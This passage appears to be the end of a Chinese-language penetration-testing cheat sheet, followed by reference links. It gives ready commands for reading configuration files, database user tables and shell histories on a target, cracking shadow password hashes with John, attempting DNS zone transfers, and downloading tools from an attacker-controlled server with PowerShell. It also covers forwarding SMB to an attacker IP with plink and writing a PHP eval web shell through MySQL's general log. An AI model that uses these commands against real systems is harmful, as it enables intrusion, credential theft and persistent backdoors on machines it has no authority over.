cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
- 数据库配置文件、历史记录等
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
- 下载shadow 爆破密码
mkdir /root/.john
cd /root/.john
unshadow passwd.txt shadow.txt > hash.txt
0x13 域
Linux 查询域服务器
dig @dns.domain.com axfr domain.com
PS:
- 在提权过程中,你需要将文件放到你的目标上
Powershell Cmdlet(Powershell 3.0及更高版本):
Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"
Powershell One-Liner:
(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename","C:\Windows\Temp\filename")
- 开放SMB 端口转发
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
- 慢日志写SHell
set global general_log='on'
set global general_log_file='D:\\phpStudy4IIS\\WWW\\slow_log.php' #一定要使用 '\\'
select "<?php eval($_POST[angel])?>"
参考链接:
https://mp.weixin.qq.com/s/0-UpfCvUVzXZkTAEHHrdhQ
https://github.com/ZTHacker/Penetration_orders
https://mp.weixin.qq.com/s/LnjKK1YJ7BvMXPuFbeq37w
https://mp.weixin.qq.com/s/DNJPQdHzBSYx0s3YcPFOiQ
https://mp.weixin.qq.com/s/zQmd2QeiK4Ggkx6rLH724A
https://mp.weixin.qq.com/s/9ZwsdxGXscUv59oFpDhfIQ
https://mp.weixin.qq.com/s/7_XGgcUnGE8N73qP-tKjtg
https://mp.weixin.qq.com/s/I8sfpRvtQWP7GiqSILwcaw
https://mp.weixin.qq.com/s/pK4j81VuUh4WuOiJ26uJHQ
https://mp.weixin.qq.com/s/D6QLlN5ew8IbUp32TznUAQ
https://mp.weixin.qq.com/s/eX6RmlcinT8nKXkEgbdTlA
https://mp.weixin.qq.com/s/f0dyixyPpGujWuWWwbLDqQ
https://mp.weixin.qq.com/s/30xOtFsstX4wemiRKoMMwQ
https://mp.weixin.qq.com/s/Gw1K_iTx2nsKwWu_XNTKUQ
虽然我们生活在阴沟里,但依然有人仰望星空!